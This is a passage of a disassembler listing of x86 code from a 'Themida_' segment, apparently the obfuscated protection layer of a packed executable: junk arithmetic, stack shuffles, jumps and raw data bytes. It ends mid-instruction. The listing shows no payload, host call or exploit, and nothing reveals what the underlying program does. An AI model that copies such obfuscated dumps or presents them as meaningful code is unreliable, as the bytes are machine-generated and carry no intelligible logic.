		xor	ebp, eax
		xor	eax, ebp
		push	1732h
		mov	[esp], ebp
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		push	esi
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		push	esi
		not	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		xchg	esi, [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_558A9E
; ---------------------------------------------------------------------------


loc_557267:				; CODE XREF: Themida_:00560E43j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		xor	edx, edx
		push	edi
		jmp	loc_54FF9E
; ---------------------------------------------------------------------------
		dw 481h
		dd 5F3F3924h, 1A4AE970h, 0E8C10000h, 55140508h,	0D1E913DFh
		dd 0C1000019h, 0EC8305E3h, 0A72CE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5572A2:				; CODE XREF: Themida_:00552824j
		add	ebp, 4
		jmp	loc_55C221
; ---------------------------------------------------------------------------


loc_5572AD:				; CODE XREF: Themida_:00557FA6j
		shl	ebx, 7
		jmp	loc_56390D
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0C4h
		dd 4, 8B2434FFh, 0C483243Ch, 4C48304h, 15BAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5572CD:				; CODE XREF: Themida_:0055A23Bj
		pop	ebp
		push	ebx
		mov	ebx, 3F521D00h
		jmp	loc_5526BB
; ---------------------------------------------------------------------------
		db 31h,	0F0h, 0E9h
		dd 0FFFFF591h, 8B66F830h, 0EE9241Ch
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5572EB:				; CODE XREF: Themida_:00561BADj
		sub	ecx, eax
		push	5A58h
		mov	[esp], eax
		mov	eax, 4E2E0FEFh
		push	ebp
		mov	ebp, 15866693h
		xor	ebp, 6A48682Bh
		add	ebp, 240A34DBh
		add	ebp, 51621898h
		push	eax
		jmp	loc_553FD9
; ---------------------------------------------------------------------------


loc_557318:				; CODE XREF: Themida_:0055537Dj
		push	eax
		mov	eax, 4
		jmp	loc_55658F
; ---------------------------------------------------------------------------
		db 0BFh
		dd 444602FCh, 428FC781h, 0E955FF1Fh, 0FFFFBFCEh, 11E9DE01h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55733B:				; CODE XREF: Themida_:0055B91Bj
		and	ecx, 65A3E86h
		or	ecx, 0B0963D7h
		add	ecx, 2B757BC7h
		jmp	loc_55BCA2
; ---------------------------------------------------------------------------
		dw 0D0BDh
		dd 0E96BC729h, 1735h, 5D2434FFh, 58DAE9h, 14E95B00h, 0D6h
		dd 7C56E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557372:				; CODE XREF: Themida_:005587B7j
		pop	edx
		jmp	loc_5580E1
; ---------------------------------------------------------------------------
		dd 0C1665B66h, 436607E3h, 0FFD9FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557385:				; CODE XREF: Themida_:00561E85j
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55A6D7
; ---------------------------------------------------------------------------
		dw 0FD2Ch
		dd 0E953F800h, 51Ch
; ---------------------------------------------------------------------------


loc_5573B0:				; CODE XREF: Themida_:005552FEj
		sub	ecx, edi
		pop	edi
		jmp	loc_551C1E
; ---------------------------------------------------------------------------
		dd 6624248Bh, 81240C8Bh, 4ECh, 0D91EE900h, 0AF05FFFFh
		dd 2D1B0018h, 0D375383h, 0A8685053h, 0E97B2259h, 0C489h
		dd 4BAh, 24540100h, 24148B04h, 0E9E38953h, 0FFFF94BDh
; ---------------------------------------------------------------------------


loc_5573F4:				; CODE XREF: Themida_:0055C4C0j
		add	ebx, 2CE043D4h
		mov	ebp, ebx
		pop	ebx
		add	ebx, 740171Ch
		sub	ebx, 0C912985h
		add	ebx, ebp
		add	ebx, 0C912985h
		sub	ebx, 740171Ch
		pop	ebp
		xchg	ebx, [esp]
		mov	esp, [esp]


loc_55741E:				; CODE XREF: Themida_:0055378Fj
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55034A
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 6624248Bh, 5024048Bh, 405E089h, 0E9000000h, 0FFFFF2EBh
		dd 0C8BE0F66h, 626C6866h, 0ABDCE9h, 0F9895B00h,	5F2434FFh
		dd 104C483h, 0B39E9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55745E:				; CODE XREF: Themida_:00560631j
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_55B6C7
; ---------------------------------------------------------------------------


loc_557469:				; CODE XREF: Themida_:00557C07j
		sub	edi, 212D4B23h
		mov	esi, [esp]
		add	esp, 4
		xchg	edi, [esp]
		jmp	loc_557AC2
; ---------------------------------------------------------------------------


loc_557480:				; CODE XREF: Themida_:00561E61j
		pop	esi
		shr	esi, 6
		jmp	loc_55F0A4
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 84h
		dd 16B484Ah, 8AE95DEEh,	330000C1h, 248B2414h, 2404D224h
		dd 8A71E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5574A6:				; CODE XREF: Themida_:0055A9E8j
		add	eax, 69D23C3Eh
		pop	edi
		add	eax, 2702B1Dh
		add	eax, ebp
		sub	eax, 2702B1Dh
		add	eax, 6BF85D53h
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 1AFA1A93h
		jmp	loc_55E666
; ---------------------------------------------------------------------------
		dw 0E688h
		dd 41CE8058h, 1AECE9h, 5E08900h, 4, 8704E883h, 895C2404h
		dd 0F3682434h, 5E4D3D7Fh, 295EF231h, 2C875AD5h,	24895C24h
		dd 24048124h, 4, 9C51E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55750A:				; CODE XREF: Themida_:00558A62j
		pop	eax
		pop	ebp
		inc	eax
		jmp	loc_558299
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9240C89h, 3742h, 0C281E289h, 4,	73F1E9h, 48F5C00h
		dd 0BB04E924h, 48BFFFFh, 4C48324h, 81E18951h, 4C1h, 4BE5600h
		dd 0E9000000h, 0B33h, 53D4EA81h, 0DEE9B370h, 210000CBh
		dd 2D405AD0h, 6E1B36A1h, 7BBCC281h, 0C2016711h,	7BBCEA81h
		dd 0E9586711h, 4FABh, 52B9B353h, 0E6C0F2B6h, 4D2EE903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557586:				; CODE XREF: Themida_:00562700j
		mov	esp, [esp]
		retn
; ---------------------------------------------------------------------------
		dw 3FE9h
		dd 0F60000CFh, 0FAC8E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557596:				; CODE XREF: Themida_:0055DA25j
		xor	eax, 58AAC165h
		sub	ebx, eax
		jmp	loc_563130
; ---------------------------------------------------------------------------


loc_5575A2:				; CODE XREF: Themida_:00553E4Cj
		pop	ecx
		jmp	loc_563998
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 234FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5575B5:				; CODE XREF: Themida_:005532F7j
		mov	al, 0ACh
		add	dh, al
		pop	eax
		add	dh, 0EAh
		mov	al, dh
		mov	edx, [esp]
		jmp	loc_552EC6
; ---------------------------------------------------------------------------
		db 31h
		dd 5E1C1E9h, 8904EC83h,	0E4BB241Ch, 16FA0BFh, 0EF815BD9h
		dd 45533D31h, 0FF8C75E9h, 3FB805FFh, 0C1293E73h, 57E92958h
		dd 67226852h, 815A56F4h, 0FFFFFFEAh, 2EAC1FFh, 309FCA81h
		dd 0F2812CE4h, 499E10F5h, 0B6E9D789h, 560000B5h, 5255E689h
		dd 0AD7DC568h, 0C2815A60h, 463A6C2Fh, 3CC2E9h, 57515B00h
		dd 5449E9h, 0B8505B00h,	4, 0E958C629h, 8149h, 2D3DE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557646:				; CODE XREF: Themida_:00554E41j
		pop	ecx
		pop	ebx
		jmp	loc_54FF17
; ---------------------------------------------------------------------------


loc_55764D:				; CODE XREF: Themida_:0055C455j
		add	ebx, edx
		push	eax
		mov	eax, 0
		sub	eax, 562E59B0h
		add	eax, ebx
		push	esi
		mov	esi, 562E59B0h
		add	eax, esi
		pop	esi
		jmp	loc_55B782
; ---------------------------------------------------------------------------


loc_55766A:				; CODE XREF: Themida_:0055CBB6j
		sub	ebp, eax
		mov	eax, [esp]
		jmp	loc_560CC4
; ---------------------------------------------------------------------------


loc_557674:				; CODE XREF: Themida_:0055A6A7j
		mov	eax, 4
		add	esi, 5229132Fh
		add	esi, eax
		jmp	loc_561B91
; ---------------------------------------------------------------------------
		dw 8B68h
		dd 0FF787663h, 3C8B2434h, 4C48124h, 83000000h, 0F75704C4h
		dd 0F75F241Ch, 9CE956D7h, 54FFFFF8h, 0A62FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5576AD:				; CODE XREF: Themida_:00554827j
		mov	esi, ebp
		jmp	loc_56306E
; ---------------------------------------------------------------------------


loc_5576B4:				; CODE XREF: Themida_:005565D9j
		push	2CE043CEh
		pop	ebx
		not	ebx
		jmp	loc_55C4BF
; ---------------------------------------------------------------------------
		db 80h,	0F4h, 0ABh
		dd 3C380h, 3EB80E3h, 0E924048Bh, 0FFFFBA99h, 4B951h, 0CB010000h
		dd 4F8BE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5576E2:				; CODE XREF: Themida_:0055B83Ej
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_56111D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483242Ch, 240C3304h, 0E9240C31h, 0FFFFC9C4h, 0CAC3E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55770A:				; CODE XREF: Themida_:00556290j
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_562B8A
; ---------------------------------------------------------------------------
aPsg		db 'PéG>',0
		align 4
		dd 5E300BBEh, 8EFBE95Eh, 48FFFFFh, 24248B24h, 0B60FC330h
		dd 8734FFC0h, 0FFC5FCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557739:				; CODE XREF: Themida_:005589FCj
		push	esp
		mov	edx, [esp]
		jmp	loc_55D17F
; ---------------------------------------------------------------------------
		dw 0DD88h
		dd 0FFFA2CE9h, 0B8EB81FFh, 1ED6440h, 8BE95BD8h,	810000C6h
		dd 42404h, 555B0000h, 0FFD16FE9h, 2F9CBDFFh, 97E922A6h
		dd 0BF000095h, 9837141h, 4247C01h, 5F2434FFh, 19D5E9h
		dd 0BB85000h, 5044A650h, 0FFCB97E9h, 36F681FFh,	89FEDFE6h
		dd 0C7815EF2h, 176E6EAFh, 0EF81D701h, 176E6EAFh, 5A2434FFh
		dd 0FDE95450h, 0BA00003Dh, 6E517318h, 2015C281h, 0DAF70056h
		dd 7AA5C281h, 0EA810967h, 2D538781h, 0A7C2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5577CD:				; CODE XREF: Themida_:005531D3j
		add	dword ptr [esp], 4
		jmp	loc_55716C
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 2BBAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5577E1:				; CODE XREF: Themida_:00557DF7j
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	3F2h
		jmp	loc_555154
; ---------------------------------------------------------------------------
		db 52h
		dd 23BF768h, 24E95A75h,	1000042h, 0EB815DEBh, 4, 0D839E9h
		dd 4C48100h, 8F000000h,	248B2404h, 24148924h, 0FF86E2E9h
		dd 4C481FFh, 1000000h, 24348BF7h, 0FFB19DE9h, 242C8BFFh
		dd 5E08950h, 4,	0E904C083h, 0FFFFB17Bh,	243C335Ch, 56EE9h
		db 0
; ---------------------------------------------------------------------------


loc_557861:				; CODE XREF: Themida_:0055819Dj
		push	736Dh
		mov	[esp], esi
		mov	esi, eax
		push	ecx
		mov	ecx, esi
		mov	edx, ecx
		pop	ecx
		jmp	loc_55485A
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 81E18924h, 4C1h, 4C18300h, 5C240C87h, 610A68h, 240C8900h
		dd 54535954h, 4C3815Bh,	81000000h, 4EBh, 241C8700h, 0E662E95Ch
		dd 2558FFFFh, 4FDE17A9h, 0AC01E9h
		db 0
; ---------------------------------------------------------------------------


loc_5578B5:				; CODE XREF: Themida_:00564769j
		mov	edx, ebp
		pop	ebp
		add	edx, 3AED5B1Ah
		or	edx, 5FAF11B9h
		inc	edx
		shr	edx, 1
		jmp	loc_55C160
; ---------------------------------------------------------------------------
		dd 5E90AB3h, 53FFFF98h,	0BD446CBBh, 0D4CB812Bh,	0E97F103Eh
		dd 45E8h, 1C8BD888h, 4C48324h, 88C78853h, 48B5BFEh, 4C48324h
		dd 942DE9h, 5BCB8000h, 8085CB80h, 0DA305DF3h, 241C8B66h
		dd 410AE9h, 241C8B00h, 0FF9698E9h, 241489FFh, 0A2BA5256h
		dd 89157E71h, 0A6BA5AD6h, 29157E71h, 0D3015EF2h, 0FFDF12E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557935:				; CODE XREF: Themida_:0055C760j
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_55F12A
; ---------------------------------------------------------------------------
		dd 6668EC80h, 0E9731368h, 4712h, 4C481h, 0F2210000h, 0FFB040E9h
		dd 241489FFh, 0F788E688h, 6DE9585Ah, 0FFFFFFF9h, 3E92434h
		dd 890000B4h, 0A4E958C2h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557983:				; CODE XREF: Themida_:005541D8j
		lea	eax, [edi+eax*4]
		push	0AB8h
		mov	[esp], eax
		jmp	loc_556AAD
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4C381h, 0C3810000h, 4, 0E9241C87h, 9FBDh
dword_5579A8	dd 240C8B66h, 0BBC5E957h, 2B2DFFFFh, 0E9676E6Ch, 0FFFFCFB3h
					; DATA XREF: Themida_:0054FD10o
		dd 5675BF57h, 534F6030h, 0A24DF4BBh, 91EB812Fh,	1BC0E0Fh
		dd 2269E9DFh, 0BD550000h, 2FD93762h, 0C15DE931h, 0F18102E9h
		dd 3192A933h, 34FFCD89h, 8E7DE924h, 48FFFFFh, 0C3815C24h
		dd 4, 687368h, 24348900h, 7D94E9h, 0E99BB000h, 0FFFFBFE3h
; ---------------------------------------------------------------------------


loc_557A10:				; CODE XREF: Themida_:00553F04j
		pop	esi
		push	edi
		push	26C8h
		mov	[esp], ecx
		mov	ecx, 0CF63F87h
		add	ecx, 225525A9h
		jmp	loc_55A93B
; ---------------------------------------------------------------------------


loc_557A2A:				; CODE XREF: Themida_:0055AA40j
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		push	7CED51F9h
		pop	edx
		shr	edx, 2
		sub	edx, 0CD9A11BDh
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 0AE5EBD43h
		add	ebp, 3F554B6Fh
		add	ebp, edi
		sub	ebp, 3F554B6Fh
		pop	edi
		jmp	loc_560ED7
; ---------------------------------------------------------------------------


loc_557A65:				; CODE XREF: Themida_:0055177Bj
		xor	esi, 571223E3h
		mov	eax, esi
		jmp	loc_55A1C5
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4BF57E6h, 1000000h, 0BD555FFEh, 2, 875DEE29h, 665C2434h
		dd 0E9241489h, 0FFFFB3BCh, 0B652E328h, 5AF32871h, 80AFEB80h
		dd 5AE955EBh
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557AA7:				; CODE XREF: Themida_:005595ADj
		not	ebp
		dec	ebp
		xor	ebp, 2B1D23h
		push	eax
		mov	eax, 21557AA3h
		sub	eax, 72ABAFC3h
		xor	ebp, eax
		jmp	loc_55B4BD
; ---------------------------------------------------------------------------


loc_557AC2:				; CODE XREF: Themida_:0055747Bj
		mov	esp, [esp]
		jmp	loc_563379
; ---------------------------------------------------------------------------


loc_557ACA:				; CODE XREF: Themida_:00563E7Fj
		push	eax
		mov	eax, 4
		sub	edi, eax
		jmp	loc_551B2F
; ---------------------------------------------------------------------------


loc_557AD7:				; CODE XREF: Themida_:00552EEDj
		push	7A50h
		mov	[esp], ecx
		mov	ecx, 686F3AD0h
		shr	ecx, 8
		jmp	loc_56056F
; ---------------------------------------------------------------------------


loc_557AEC:				; CODE XREF: Themida_:0056288Dj
		add	eax, 4
		jmp	loc_558001
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 8410E44Eh, 505FFB01h, 0A16BE56h, 0ACE96571h
		db 4Fh,	2 dup(0)
byte_557B0B	db 0FFh			; DATA XREF: Themida_:0054FD08o
		dd 0DAE92434h, 5CFFFFE9h, 89243489h, 4EC81E6h, 89000000h
		dd 0DBBF243Ch, 0C179C50Eh, 0BB5305E7h, 671434C2h, 1005F381h
		dd 0E3C17048h, 7DE38107h, 0E913764Ah, 3395h
; ---------------------------------------------------------------------------


loc_557B44:				; CODE XREF: Themida_:00560A85j
		mov	dh, 21h
		mov	bl, dh
		jmp	loc_55E5B5
; ---------------------------------------------------------------------------
		db 0E9h, 0C5h, 83h
		dd 0E954FFFFh, 0FFFFE9BAh, 0EB42C181h, 0C801B6F2h, 4EC8359h
		dd 0B9240C89h, 2, 0F8E9C801h, 0BA000093h, 1D66CAAh, 8245429h
		dd 27BDE9h, 24043100h, 0E9240433h, 0FFFFA3DAh
; ---------------------------------------------------------------------------


loc_557B8C:				; CODE XREF: Themida_:00559A7Ej
		add	edx, 1ECC3773h
		mov	[edx], bh
		pop	edx
		pop	ecx
		jmp	loc_56248F
; ---------------------------------------------------------------------------
a0uxsqb		db '[0ãX韡',0
		align 4


loc_557BA4:				; CODE XREF: Themida_:0055B3B6j
		sub	ecx, 22F94614h
		sub	ecx, edx
		add	ecx, 22F94614h
		pop	edx
		add	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		inc	edi
		jmp	loc_5506E0
; ---------------------------------------------------------------------------


loc_557BC2:				; CODE XREF: Themida_:00554DB5j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	edi
		push	0E346929h
		pop	edi
		xor	edi, 0E346901h
		mov	edx, edi
		jmp	loc_55901F
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0D49h
; ---------------------------------------------------------------------------


loc_557BF0:				; CODE XREF: Themida_:0055EEEFj
		add	edi, edx
		sub	edi, 51C72630h
		pop	edx
		push	esi
		mov	esi, 4
		add	edi, 212D4B23h
		add	edi, esi
		jmp	loc_557469
; ---------------------------------------------------------------------------
dword_557C0C	dd 9D1C77FFh, 24041958h, 82FDE99Ch, 248BFFFFh, 2434FF24h
					; DATA XREF: Themida_:0054FE28o
		dd 183DE958h
		db 2 dup(0)
word_557C26	dw 0E9ACh		; DATA XREF: Themida_:0054FCBCo
		dd 0B1F9h, 5C240C33h, 0FFA743E9h, 5FFA89FFh, 312DEE81h
		dd 0D6010D1Dh, 312DC681h, 148B0D1Dh, 0B465E924h, 8348FFFFh
		dd 3C8904ECh, 0E26ABF24h, 0F8011066h, 81243C8Bh, 4C4h
		dd 0FF5E5000h, 51582434h, 0C181E189h, 4, 4C181h, 0C870000h
		dd 6C815C24h, 27D30424h, 740144F9h, 44810424h, 27D30424h
		dd 0FAE944F9h, 8BFFFFEBh, 0C481240Ch, 4, 34FFDA28h, 0C4815B24h
		dd 4, 81E68956h, 4C6h, 4BF5700h, 0E9000000h, 9C0Ah, 0C5E9E389h
		dd 89000080h, 0E6892434h, 7DC168h, 242C8900h, 0AA3CB268h
		dd 0E9455D05h, 0FFFFC899h, 0AE34E957h, 2CE90000h, 68FFFF82h
		dd 5F17h, 0BE243489h, 551C675Ch, 17D194BBh, 0E9F30113h
		dd 0FFFFCDB6h, 0D893E95Dh, 0CDFEFFFFh, 66EE8852h, 0F6F78853h
		dd 66FE88D7h, 0E9F5885Bh, 94BFh
; ---------------------------------------------------------------------------


loc_557D20:				; CODE XREF: Themida_:005511C6j
		pop	ebx
		jmp	loc_563CBB
; ---------------------------------------------------------------------------


loc_557D26:				; CODE XREF: Themida_:0056238Fj
		add	ebx, 4
		jmp	loc_5500B4
; ---------------------------------------------------------------------------
		db 0B8h, 0C0h, 62h
		dd 9055834h, 0E9E54801h, 0A1BBh, 0E952C388h, 0D729h, 0E9C20159h
		dd 847h, 0D33040B3h, 4EC835Ah, 88240489h, 58C288D8h, 241C8B66h
		dd 431EE9h, 4C28100h, 33000000h, 0C9E92414h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_557D77:				; CODE XREF: Themida_:005620D5j
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		push	edi
		jmp	loc_55E9DC
; ---------------------------------------------------------------------------


loc_557D89:				; CODE XREF: Themida_:005630C2j
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	ecx, edx
		pop	edx
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_552E5D
; ---------------------------------------------------------------------------
		db 81h,	6Ch, 24h
		dd 94B5C04h, 2444811Bh,	0D66CAA04h, 60E95F01h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557DB7:				; CODE XREF: Themida_:0055140Fj
		xchg	ebp, [esp]
		pop	esp
		push	5C48h
		mov	[esp], edi
		push	edx
		mov	edx, 1B9512AAh
		inc	edx
		jmp	loc_563057
; ---------------------------------------------------------------------------
		db 31h
		dd 3C33243Ch, 24248B24h, 9C242CD3h, 0FF8136E9h,	0EB815BFFh
		dd 70C53FA0h, 79E2EB81h, 7EE9766Fh
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557DF3:				; CODE XREF: Themida_:00550987j
		add	dword ptr [esp], 4
		jmp	loc_5577E1
; ---------------------------------------------------------------------------


loc_557DFC:				; CODE XREF: Themida_:0055FF91j
		mov	ebp, 75B42C79h
		mov	ebx, 8AD9439Bh
		add	ebx, ebp
		pop	ebp
		or	ecx, ebx
		pop	ebx
		shr	ecx, 1
		jmp	loc_553645
; ---------------------------------------------------------------------------
		db 2Ch
		dd 0FEC88641h, 0E9C886C9h, 0FFFFCF47h, 0C15DEA31h, 0A8E903E2h
		dd 81000054h, 683D01EBh, 81FB0177h, 683D01C3h, 0C3815F77h
		dd 4, 5C241C87h, 5324048Bh, 0C381E389h,	4, 4C381h, 1C870000h
		dd 0CF685C24h, 8900004Fh, 0EE882414h, 88F58851h, 8B59872Ch
		dd 0C4812414h, 4, 809DE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557E7A:				; CODE XREF: Themida_:00555A10j
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 4
		add	ebp, 51DE6F6Fh
		sub	ebp, 685C2A0Ah
		add	ebp, edx
		jmp	loc_551786
; ---------------------------------------------------------------------------


loc_557E9A:				; CODE XREF: Themida_:0055561Aj
		add	ecx, 2
		jmp	loc_55E9B6
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 0ADh
		dd 8963EB22h, 0FEE95BDFh, 52FFFF97h, 4770BF57h,	9683D3Ch
		dd 89000015h, 0BD55243Ch, 2F9F4211h, 4246C01h, 0EA815A5Dh
		dd 2F9F4211h, 8EE2815Fh, 0E97CBC78h, 1A80h, 592434FFh
		dd 4C481h, 0C7810000h, 594B3B42h, 0EF81EF01h, 594B3B42h
		dd 0FFF948E9h, 241C89FFh, 5A1B68h, 24348900h, 0B850E689h
		dd 40202E3h, 7486E9h, 5AF02800h, 2C0CB353h, 4D828ADh, 0D0005BADh
		dd 35040C04h, 83D8005Ah, 148904ECh, 808AB624h, 33E98DE6h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557F3B:				; CODE XREF: Themida_:0055F3D7j
		or	esi, ecx
		mov	ecx, [esp]
		push	32BBh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shl	esi, 1
		shl	esi, 3
		push	edx
		mov	edx, 9775FBB0h
		add	esi, 5A3C0816h
		jmp	loc_551B84
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0BFh
		dd 0E9598132h, 520Fh, 15ED815Fh, 316F8D0Eh, 0C6815DE9h
		dd 6C48272Bh, 668CE01h,	89000029h, 0C3E92414h, 5300002Fh
		dd 0B4F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_557F9D:				; CODE XREF: Themida_:00563131j
		add	ebx, eax
		add	ebx, 79453E8Dh
		pop	eax
		jmp	loc_5572AD
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4EE8300h, 0FFC654E9h, 241489FFh, 632FE9h, 0ECEE8100h
		dd 1031B5Dh, 0BE565EF2h, 4, 0CAD8E9h, 24248B00h, 24043166h
		dd 7F35E99Ch, 0D1F7FFFFh, 6958E981h, 0E1C12E98h, 2AF18102h
		dd 57221CDEh, 0C781E789h, 4, 52FFE9h
		db 0
; ---------------------------------------------------------------------------


loc_558001:				; CODE XREF: Themida_:00557AF1j
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_555089
; ---------------------------------------------------------------------------
aPAAs		db 'P¸Äa>aé*:',0
		dd 48B6600h, 0E6895624h, 4C681h, 0C6810000h, 2,	5C243487h
		dd 244C0166h, 72686602h, 0A65CE93Eh, 2EBBFFFFh,	2135D756h
		dd 0D0F75BD8h, 0BF4DC22Dh, 4C38192h, 297F740Bh,	4EB81C3h
		dd 587F740Bh, 0FFD746E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558061:				; CODE XREF: Themida_:005560C3j
		mov	edx, 655011BAh
		or	ebx, edx
		pop	edx
		xor	ebx, 735B0A9Dh
		sub	ebx, 59D0E88h
		dec	ebx
		sub	ebx, 8E30B230h
		sub	edi, ebx
		jmp	loc_554E46
; ---------------------------------------------------------------------------
		db 29h
		dd 0CD30E9F1h, 0A768FFFFh, 89000030h, 0FE9242Ch, 87FFFFC3h
		dd 0E95C243Ch, 4ED1h, 0E9243489h, 1D4h
; ---------------------------------------------------------------------------


loc_5580A8:				; CODE XREF: Themida_:00553A50j
		add	eax, 75EA5E1Fh
		xor	eax, 83D85E11h
		push	edx
		jmp	loc_553E26
; ---------------------------------------------------------------------------
		dd 0F589FE89h, 0FF8BC4E9h, 814359FFh, 0F51E00E3h, 4C38120h
		dd 89FFF000h, 0C9E95BDAh, 0B9000084h, 1E0E3BAEh, 0FF908EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5580E1:				; CODE XREF: Themida_:00557373j
		mov	ebx, esi
		jmp	loc_558FE1
; ---------------------------------------------------------------------------
		dd 0ED240481h, 29167F66h, 2C812404h, 7F66ED24h,	59D56816h
		dd 14890000h, 55B7BA24h, 0E2C119D7h, 51F96803h,	34890000h
		dd 0A4E3E924h, 0D5890000h, 246C815Ah, 0A330B004h, 246C014Ch
		dd 0B0BF5704h, 14CA330h, 0E908247Ch, 0FFFF93D5h
aNh0_0		db '­hÔ0',0             ; DATA XREF: Themida_:0054FC4Co
		align 2
		dw 3C89h
		dd 5383BF24h, 1E680D37h, 89000041h, 0C7BE2434h,	293F3F52h
		dd 56555EF0h, 5C55DBBEh, 5EF58952h, 0C21AE94Dh,	1C330000h
		dd 50535C24h, 0FFE99CE9h, 0DBF181FFh, 0E90C2E74h, 5CAAh
; ---------------------------------------------------------------------------


loc_558178:				; CODE XREF: Themida_:00553CADj
		neg	eax
		sub	eax, 4D63112Ah
		push	ecx
		mov	ecx, 38636199h
		and	ecx, 3E2E6BAFh
		shl	ecx, 7
		xor	ecx, 46077F2Eh
		sub	ecx, 738E6E9Ch
		xor	eax, ecx
		pop	ecx
		jmp	loc_557861
; ---------------------------------------------------------------------------
aYvhna		db 'YVha',0
		dd 241C8900h, 0CC050EBBh, 0D0F3812Bh, 5740065Fh, 0FFFFFF68h
		dd 0FB015FFFh, 0A524E9h
		db 0
; ---------------------------------------------------------------------------


loc_5581C5:				; CODE XREF: Themida_:0055BB5Aj
		pop	eax
		push	7DA9h
		mov	[esp], ebp
		push	esp
		jmp	loc_55BA72
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 0A703h, 652C2A35h, 8BC22923h, 0C4812404h
		dd 4, 0FF9DA5E9h
		db 0FFh
byte_5581F1	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0054FD24o
		dd 1058669Dh, 0E99C2404h, 0FFFF7D17h, 0E9240C89h, 6B3Fh
; ---------------------------------------------------------------------------


loc_558208:				; CODE XREF: Themida_:0055C791j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_55B6BA
; ---------------------------------------------------------------------------
		dw 0EA89h
		dd 56242C8Bh, 0C6815E54h, 4, 4C681h, 34870000h,	0DAF75C24h
		dd 65B8504Ah, 974050Ah,	0D2F758C2h, 1910C281h, 0D1E9568Eh
		dd 3300000Ah, 36E92434h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55824F:				; CODE XREF: Themida_:00565082j
		mov	[esp], ecx
		mov	ecx, 62DAF1B6h
